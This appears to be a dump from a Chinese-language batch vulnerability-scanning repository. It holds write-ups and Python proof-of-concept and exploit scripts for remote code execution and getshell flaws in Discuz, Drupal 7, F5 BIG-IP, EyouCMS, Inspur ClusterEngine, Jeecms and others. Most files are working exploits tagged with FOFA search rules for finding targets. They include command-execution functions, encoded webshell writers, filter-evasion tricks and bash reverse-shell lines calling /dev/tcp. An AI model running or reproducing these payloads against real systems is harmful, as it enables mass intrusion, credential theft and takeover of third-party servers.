# 4、坑点
POST包中的source参数内容为目标现在的版本如果不对提交请求会无效的。因版本比较多手工党问题不大但脚本批量的话脚本中这个参数的值不多的话大概率会漏报。
这里无论是漏洞利用的URL还是最终写入到的URL中的文件都有一个问题那就是utility目录所在的位置对于不同的站来说很有可能不固定。网上下载的源码这个目录是在网站根目录的上一级目录手工的时候注意一下。脚本中是默认此目录在网站根目录了。
最重要的poc/exp的内容其明文部分是eval("phpinfo();"); 只需要改双引号中的内容即可比如shell为eval("$_POST['pass'];"); 但最终要转换为CHR类型的值。其中这个POST参数中的%0a%0d代表的是回车换行在python中为\x0a\x0d是为了躲避检查。CHR与STRING转换的脚本放在下面了。
# 5、CHR与STRING转换
## 5.1、CHR TO STRING
```
# _*_ coding:utf-8 _*_
import re
list1 = []
st = "CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(99).CHR(104).CHR(111).CHR(32).CHR(39).CHR(97).CHR(98).CHR(99).CHR(39).CHR(59).CHR(63).CHR(62)"
ss = re.findall('\((\d+)\)+',str(st))
#print(ss)
for s in ss:
s = chr(int(s))
list1.append(str(s))
s = "".join(list1)
print(s)
```
## 5.2、STRING TO CHR
```
# _*_ coding:utf-8 _*_
list1 = []
st = "<?php echo 'abc';?>"
for s in st:
chr_s = ord(s)
list1.append("CHR("+str(chr_s)+")")
chr_ss = ".".join(list1)
print(chr_ss)
```
# 6、poc
poc默认漏洞URL的主目录是在网站根目录下了可能会有漏报POST参数中的sourcepoc中已经尽可能的多写了不排除会有漏报的情况出现。配合框架可批量测试脚本可发现漏洞。
若要getshell直接更改poc_key中的相关内容即可漏洞复现中也有写。

View File

@@ -0,0 +1,51 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='discuz_version_change_getshell'
AUTHOR="境心"
REMARK='discuz 版本转换功能getshell漏洞'
FOFA_RULE='app="Powered-by-Discuz!NT"'
FOFA_RULE='app="Tencent-Discuz"' ###这个也可以的
######################################################
def poc(target):
result = {}
poc_key = 'newconfig[aaa\x0a\x0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(101).CHR(99).CHR(104).CHR(111).CHR(32).CHR(39).CHR(116).CHR(104).CHR(105).CHR(115).CHR(32).CHR(105).CHR(115).CHR(32).CHR(97).CHR(32).CHR(102).CHR(114).CHR(105).CHR(101).CHR(110).CHR(100).CHR(108).CHR(121).CHR(32).CHR(116).CHR(101).CHR(115).CHR(116).CHR(44).CHR(32).CHR(80).CHR(108).CHR(101).CHR(97).CHR(115).CHR(101).CHR(32).CHR(99).CHR(104).CHR(101).CHR(99).CHR(107).CHR(32).CHR(97).CHR(110).CHR(100).CHR(32).CHR(114).CHR(101).CHR(112).CHR(97).CHR(105).CHR(114).CHR(32).CHR(118).CHR(117).CHR(108).CHR(110).CHR(101).CHR(114).CHR(97).CHR(98).CHR(105).CHR(108).CHR(105).CHR(116).CHR(105).CHR(101).CHR(115).CHR(46).CHR(39).CHR(59).CHR(34).CHR(41).CHR(59));//]'
# utility目录在实际环境中的什么位置不确定默认在网站根目录下若不在网站根目录下的会漏报
vul_url = target+"/utility/convert/index.php"
# 经测试这里source可以写多个能匹配多个版本又不影响getshell时的功能source越多漏报越少
data = {
"a" :"config",
"source": "ss7.5_x2.0",
"source": "uch2.0_x2.0",
"source" : "d7.2_x2.0",
"source": "ss7.5_x1.5",
"source": "uch2.0_x1.0",
"source": "uch2.0_x1.5",
"source": "d7.2_x1.5",
"source": "d7.2_x1.0",
"source": "ss7.5_x1.0",
"submit" : "yes",
poc_key : "aaaa"
}
requests.post(vul_url, headers=headers, data=data, verify=False, timeout=5)
target_url = target+"/utility/convert/data/config.inc.php"
target_res = requests.get(target_url, headers=headers, verify=False, timeout=5)
if "this is a friendly test, Please check and repair vulnerabilities." in target_res.text:
result['poc_url'] = target_url
result['poc'] =NAME
result['message'] = "存在版本转换功能getshell漏洞"
return result
if __name__ == '__main__':
poc("http://127.0.0.1/Discuz_X3.2_SC_GBK/")

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

View File

@@ -0,0 +1,64 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import re
import requests
requests.packages.urllib3.disable_warnings()
########################################################################################################################
# 脚本信息
NAME='CVE_2018_7600'
AUTHOR="RabbitMask"
REMARK='Drupal 7 RCE'
FOFA_RULE='app="Drupal-7"'
########################################################################################################################
# 漏洞检测模块
def poc(target):
result={}
cmd='whoami'
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': cmd}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
try:
r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False)
rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
form_build_id = rule1.findall(r.text)
if form_build_id:
get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
post_params = {'form_build_id':form_build_id[0]}
r = requests.post(target, params=get_params, data=post_params, verify=False)
rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
if parsed_result and len(parsed_result[0])>0 and len(parsed_result[0])<100:
result['target']=target
result['poc']=NAME
result['whoami']=str(parsed_result[0])
return result
except:
pass
########################################################################################################################
#以上为模板限制区域,以下为自由发挥区域
########################################################################################################################
# 漏洞利用模块
def exp(target,cmd):
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': cmd}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
try:
r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False)
rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
form_build_id = rule1.findall(r.text)
if form_build_id:
get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
post_params = {'form_build_id':form_build_id[0]}
r = requests.post(target, params=get_params, data=post_params, verify=False)
rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
if parsed_result and len(parsed_result[0])>0:
print(target,'Drupal-7',parsed_result[0])
except:
pass
if __name__ == '__main__':
exp('http://127.0.0.1')

View File

@@ -0,0 +1,57 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import re
from Config.config_requests import headers
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME = 'CNVD_2021_26058'
AUTHOR = "JDQ"
REMARK = '亿赛通电子文档安全管理系统远程命令执行漏洞'
FOFA_RULE = 'title="电子文档安全管理系统"'
######################################################
def poc(target):
try:
r = requests.get(target+"/solr/admin/cores",headers=headers, verify=False)
if r.status_code == 200 and 'responseHeader' in r.text:
result = re.search(
r'<str name="name">([\s\S]*?)</str><str name="instanceDir">', r.text, re.I
)
core_name = result.group(1)
return(POC_2(target, core_name))
except :
pass
def POC_2(target, core_name):
result={}
url = target + \
"/solr/"+ core_name + "/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20"
files = {
'stream.body': '''<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>'''
}
try:
r = requests.post(url, data=files, verify=False)
if r.status_code == 200 and 'responseHeader' in r.text:
cmd = re.search(
r'documents"><lst><arr name="title"><str>([\s\S]*?)</str></arr></lst>', r.text, re.I)
res = cmd.group(1)
result['target'] = target
result['poc'] = NAME
result['whoami'] = res
return result
except:
pass
if __name__ == '__main__':
poc("127.0.0.1")

View File

@@ -0,0 +1,79 @@
# 1、漏洞描述
eyoucms V1.4.0版本存在远程命令执行漏洞在网站前台无需任何辅助可直接写入webshell。
漏洞影响版本只有一个,实际环境中能不能遇到,看脸了。。
# 2、影响范围
1.4.0单一版本
# 3、漏洞复现
## 3.1、坑点
先上POST包提交后就在网站根目录下生成了testtest.php的poc文件
```
POST /EyouCMS-V1.4.1-UTF8-SP2/?m=api&c=ajax&a=get_tag_memberlist HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Cookie: PHPSESSID=q28egmgkmmogh09pm1gn9n2bj2; home_lang=cn; admin_lang=cn
Upgrade-Insecure-Requests: 1
Content-Length: 297
attarray=eyJ7cGhwfTEyM3svcGhwfSI6ICJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuL3Rlc3R0ZXN0LnBocCcsYmFzZTY0X2RlY29kZShiJ1BEOXdhSEFnWldOb2J5QWlkR2hwY3lCcGN5QmhJR1p5YVdWdVpHeDVJSFJsYzNRc0lGQnNaV0Z6WlNCamFHVmpheUJoYm1RZ2NtVndZV2x5SUhWd2JHOWhaQ0IyZFd4dVpYSmhZbWxzYVhScFpYTXVJajgrJykpO3svcGhwfSJ9&htmlcode=111111
```
如下图注意箭头标的几个位置POST方法、URL、X-Requested-With、attarray参数内容尤其是X-Requested-With和attarray参数内容payloadpayload生成方法后面详说。
坑点在这:
1. 若不是用的post方法会失败
2. URL中?后面的内容一定要按图中的这样写;
3. 请求的header中X-Requested-With: XMLHttpRequest 一定要有否则手工验证的时候即使返回的读取成功但还是没有写入成功shell
4. payload生成过程踩过坑了按下面3.2中的方法生成即可;
![](image-20210908095353384.png)
## 3.2、生成payload
根据源码中的漏洞细节其中eval会被替换为intval需要将webshell进行base64加密传输绕过检测同时构造将webshell写入目标机器的payload将php标签转换为{php}将payload转换为数组格式然后将数组转换为json格式最后对其base64加密生成最终的payload。
先看一下怎么用php生成这样的一个payload上代码
=>符号左边的是数组名可自定义右边的是实际的payload这里是写的一句话。
```
<?php
print base64_encode(json_encode(array("{php}file_put_contents('./testtest.php',base64_decode('PHBocCBldmFsKCRfUkVRVUVTVFtjZXNoaV0pOz8'));{/php}"=>"{php}file_put_contents('./testtest.php',base64_decode('PHBocCBldmFsKCRfUkVRVUVTVFtjZXNoaV0pOz8+'));{/php}")));
```
再看一下python如何生成这样的一个payload上代码
过程都是一样的。
```
def creat_payload():
payload_tmp1 = '''<?php echo "this is a friendly test, Please check and repair upload vulnerabilities."?>'''
payload_tmp1_base64 = base64.b64encode(payload_tmp1.encode('utf-8'))
payload_tmp2 = {
"{php}123{/php}": "{php}file_put_contents('./testtest.php',base64_decode(" + str(
payload_tmp1_base64) + "));{/php}"
}
payload = base64.b64encode(json.dumps(payload_tmp2).encode('utf-8'))
return payload
```
不过这里php生成的payload中解密来看的话/会被转义,即\/,但不影响实际效果。
# 4、poc
搭配框架可批量若要getshell替换脚本中的payload_tmp1内容即可。

View File

@@ -0,0 +1,52 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
import base64
import json
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='EyouCMS_qiantai_rce'
AUTHOR="境心"
REMARK='易优CMS前台RCE'
FOFA_RULE='app="eyoucms"'
######################################################
def creat_payload():
payload_tmp1 = '''<?php echo "this is a friendly test, Please check and repair upload vulnerabilities."?>'''
payload_tmp1_base64 = base64.b64encode(payload_tmp1.encode('utf-8'))
payload_tmp2 = {
"{php}123{/php}": "{php}file_put_contents('./testtest.php',base64_decode(" + str(
payload_tmp1_base64) + "));{/php}"
}
payload = base64.b64encode(json.dumps(payload_tmp2).encode('utf-8'))
return payload
def poc(target):
result = {}
url = target + "/?m=api&c=ajax&a=get_tag_memberlist"
headers = {
"User-Agent" : ua,
"X-Requested-With": "XMLHttpRequest",
"Content-type": "application/x-www-form-urlencoded" # 手工必须要有,脚本可以不用
}
data = {
"attarray" : creat_payload(),
"htmlcode" : "testtest"
}
res = requests.post(url, data=data, headers=headers, verify=False, timeout=5)
if "this is a friendly test" in res.text:
result['message'] = "存在eyoucms前台RCE漏洞"
result['poc_url'] = target+"/testtest.php"
return result
if __name__ == '__main__':
# poc调用
poc("http://127.0.0.1/EyouCMS-V1.4.0-UTF8-SP2/index.php/")

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

View File

@@ -0,0 +1,54 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CVE-2020-5902'
AUTHOR="Joker"
REMARK='F5 BIG-IP 远程代码执行漏洞1'
FOFA_RULE='title="BIG-IP&reg ;- Redirect"或icon_hash="-335242539"'
######################################################
def poc(target):
result = {}
vuln_url = target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
# 其他漏洞触发点
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
#https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
#https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
# 反弹shell
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26/dev/tcp/127.0.0.1/4444+0>%261
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/1.txt
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9"
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "output" in r.text and r.status_code==200:
c = json.loads(r.text)["output"]
result['target'] = target
result['poc'] = NAME
result['data'] = c
return result
else:
pass
except Exception as e:
pass
if __name__ == '__main__':
poc("https://127.0.0.1/")

View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CVE-2021-22986'
AUTHOR="Joker"
REMARK='F5 BIG-IP 远程代码执行漏洞2'
FOFA_RULE='title="BIG-IP&reg ;- Redirect"或icon_hash="-335242539"'
######################################################
def poc(target):
result = {}
vuln_url = target + "/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": "",
"Content-Type": "application/json"
}
data = '{"command":"run","utilCmdArgs":"-c id"}'
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.post(url=vuln_url, data=data,headers=headers, verify=False, timeout=5)
if "commandResult" in r.text and r.status_code == 200:
c = json.loads(r.text)["commandResult"]
result['target'] = target
result['poc'] = NAME
result['data'] = c
return result
else:
pass
except Exception as e:
pass
if __name__ == '__main__':
poc("https://127.0.0.1/")

View File

@@ -0,0 +1,50 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import json
import requests
from Config.config_requests import ua
# 脚本信息
######################################################
NAME='Fikker_admin'
AUTHOR="Trans"
REMARK='fikker Console default password'
FOFA_RULE='title=="转向 Fikker 管理平台"'
######################################################
def poc(target):
result={}
headers ={
"User-Agent":ua,
"Content-Type":"text/plain;charset=UTF-8",
"Origin": target,
"Referer": target+"/fikker/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
}
data = {
"RequestID":"LOGIN",
"Username":"admin",
"Password":"123456"
}
try:
target += "/fikker/webcache.fik?type=sign&cmd=in"
r = requests.post(target ,headers = headers,data = data,verify=False,timeout=40)
if r.status_code == 200 :
text = json.loads(r.text)
if text['Return'] == "True":
result['target'] = target
result['poc'] = NAME
result['username'] = 'admin'
result['password'] = '123456'
return result
except:
pass
if __name__ == '__main__':
poc("http://127.0.0.1:6780")

View File

@@ -0,0 +1,76 @@
# 1、漏洞介绍
浪潮 ClusterEngineV4.0 任意命令执行
登录处抓包然后闭合username字段重发引发报错
远程攻击者可以将恶意登录数据包发送到控制服务器
# 2、漏洞版本
浪潮ClusterEngine V4.0
# 3、fofa搜索
title="TSCEV4.0"
# 4、漏洞利用
```
# POC测试(出现 root:x:0:0 则存在漏洞)
op=login&username=Wings`$(cat /etc/passwd)`
{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user Wings does not exist\nerror:1\n"}
# 反弹shell
op=login&username=Wings`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
```
登陆闭合字段username、执行命令并没有成功
```
POST /login HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 60
Origin: https://127.0.0.1:8443
Connection: close
Referer: https://127.0.0.1:8443/module/login/login.html
Cookie: lang=cn
op=login&username=admin'ping xxxxxx.dnslog.cn&password=admin
HTTP/1.1 200
Content-Type: text/json;charset=utf-8
Date: Tue, 13 Apr 2021 06:40:42 GMT
Connection: close
Content-Length: 159
{"err":"/bin/sh: -c: line 0: unexpected EOF while looking for matching `''\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n","exitcode":1,"out":""}
```
按照漂亮鼠星球思路可以,未做过滤,通过;可拼接命令
```
POST /alarmConfig HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: https://127.0.0.1:8443
Connection: close
Referer: https://127.0.0.1:8443/module/login/login.html
Cookie: lang=cn
op=testPhone&alarmTestPhone=1;whoami&alarmTestMessage=2
HTTP/1.1 200
Content-Type: text/json;charset=utf-8
Date: Tue, 13 Apr 2021 06:52:47 GMT
Connection: close
Content-Length: 1459
{"def":"root","erInfo":"./lt-gnokii: line 199: cd: /mnt/hgfs/share/alarm/ex_alarm_tstor/gnokii/gnokii-0.6.31/gnokii: No such file or directory\ngcc: error: gnokii-gnokii.o: No such file or directory\ngcc: error: gnokii-gnokii-calendar.o: No such file or directory\ngcc: error: gnokii-gnokii-dial.o: No such file or directory\ngcc: error: gnokii-gnokii-file.o: No such file or directory\ngcc: error: gnokii-gnokii-logo.o: No such file or directory\ngcc: error: gnokii-gnokii-mms.o: No such file or directory\ngcc: error: gnokii-gnokii-monitor.o: No such file or directory\ngcc: error: gnokii-gnokii-other.o: No such file or directory\ngcc: error: gnokii-gnokii-phonebook.o: No such file or directory\ngcc: error: gnokii-gnokii-profile.o: No such file or directory\ngcc: error: gnokii-gnokii-ringtone.o: No such file or directory\ngcc: error: gnokii-gnokii-security.o: No such file or directory\ngcc: error: gnokii-gnokii-settings.o: No such file or directory\ngcc: error: gnokii-gnokii-sms.o: No such file or directory\ngcc: error: gnokii-gnokii-todo.o: No such file or directory\ngcc: error: gnokii-gnokii-utils.o: No such file or directory\ngcc: error: gnokii-gnokii-wap.o: No such file or directory\ngcc: error: ../common/.libs/libgnokii.so: No such file or directory\ngcc: error: ../getopt/libgetopt.a: No such file or directoryn","cmd":"cd /var/tsced/tools/;./lt-gnokii --config ../config/sms.cf --dialvoice 1;whoami","status":"ok","info":"测试成功"}
```

View File

@@ -0,0 +1,67 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import json
import requests
from Config.config_requests import ua
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME='CVE_2020_21224'
AUTHOR="RabbitMask"
REMARK='Inspur ClusterEngine V4.0 RCE'
FOFA_RULE='title="TSCEV4.0"'
######################################################
def poc(target):
result={}
headers={
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest',
"User-Agent":ua
}
data = {
'op':'testPhone',
'alarmTestPhone':'1;{}'.format('whoami'),
'alarmTestMessage':'2'
}
try:
r = requests.post(target+"/alarmConfig",headers=headers, data=data, verify=False)
res=json.loads(r.text)
if res['def']:
result['target'] = target
result['poc'] = NAME
result['whoami'] = str(res['def'])
return result
except:
pass
def exp(target,cmd):
headers={
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest',
"User-Agent":ua
}
data = {
'op':'testPhone',
'alarmTestPhone':'1;{}'.format(cmd),
'alarmTestMessage':'2'
}
try:
r = requests.post(target+"/alarmConfig",headers=headers, data=data, verify=False)
res=json.loads(r.text)
print(res['def'])
except:
pass
if __name__ == '__main__':
exp("http://127.0.0.1","whoami")

View File

@@ -0,0 +1,36 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import sys
import requests
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='Inspur_Any_user_login'
AUTHOR="Faith"
REMARK='浪潮任意用户登录漏洞'
FOFA_RULE='title="TSCEV4.0"'
######################################################
def poc(target):
url = target + "/module/login/login.html"
result = {}
headers = {"User-Agent":ua}
data = "op=login&username=admin|pwd&password=任意"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.post(url,data=data,headers=headers,verify=False,timeout=3)
if r.status_code == 200:
result['target'] = target
result['poc'] = NAME
result['url'] = url
return result
else:
pass
except:
pass
if __name__ == '__main__':
poc("https://127.0.0.1:8443/")

View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from requests.packages.urllib3.exceptions import InsecurePlatformWarning
# 脚本信息
######################################################
NAME='Inspur_sysShell_RCE'
AUTHOR="Faith"
REMARK='浪潮ClusterEngineV4.0 sysShell RCE'
FOFA_RULE='title="TSCEV4.0"'
######################################################
def poc(target):
result = {}
url = target + "/sysShell"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "lang=cn"
}
data = "op=doPlease&node=cu01&command=cat /etc/passwd"
try:
requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
r = requests.post(url=url,headers=headers,data=data,verify=False,timeout=3)
if 'root' in r.text and r.status_code ==200:
result['target'] = target
result['poc'] = NAME
result['url'] = url
return result
else:
pass
except:
pass
if __name__ == '__main__':
poc("https://127.0.0.1/")

View File

@@ -0,0 +1,57 @@
# 1、漏洞描述
jeecms V7版本的一个上传组件存在远程拉取图片的功能并将远程拉取的文件保存在服务器上。但程序没有对远程文件的类型做好过滤导致可从远程拉取任意格式的文件可直接getshell。
V9版本做了修复会对远程获取的文件后缀进行校验并对上传的文件强行重命名。
# 2、漏洞复现
直接上POST包:
data数据中远程文件的后缀写为.jsp?.jpg是尝试绕过虽然这样能上传上去但是因强行文件重命名传上去的也是一个图片。可直接尝试不带?.jpg去检查和利用。
```
POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 127.0.0.1
Content-Length: 453
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUxAA9jVG2OHOQYo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="upfile"
http://vps:port/test1.jsp?.jpg
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="mark"
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="uploadfile"; filename="test1.jsp.jpg"
Content-Type: application/octet-stream
<%out.println("123");%>
------WebKitFormBoundaryZUxAA9jVG2OHOQYo--
```
网站返回json格式的包含 远程图片抓取成功 以及url地址则证明存在漏洞
# 3、poc
因SSRF漏洞利用需要从远端获取信息若要getshell需要远端存在shell文件所以poc需要修改poc_content方法中content参数里的url地址。
脚本中有个坑post内容里的回车换行这里用的\r\n表示的直接回车换行请求会出问题导致poc验证失败。

View File

@@ -0,0 +1,46 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='Jeecms_ssrf_getshell'
AUTHOR="境心"
REMARK='Jeecms ssrf漏洞'
FOFA_RULE='app="JEECMS"'
######################################################
def poc_content():
content = """-----------------------------245629485030790359921083390342\r\nContent-Disposition: form-data; name="upfile"\r\n\r\nhttp://127.0.0.1:9699/test1.jsp\r\n-----------------------------245629485030790359921083390342--"""
return content
def poc(targrt):
result = {}
url = targrt + "/ueditor/getRemoteImage.jspx"
content = poc_content()
headers = {
"User-Agent":ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept - Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------245629485030790359921083390342",
"Connection": "close"
}
res = requests.post(url, headers=headers, data=content, timeout=5, verify=False)
res = res.text
print(res)
if "srcUrl" in res and "远程图片抓取成功" in res:
result['message'] = res
result['target_url'] = url
return result
if __name__ == '__main__':
# poc调用
poc("https://127.0.0.1")

View File

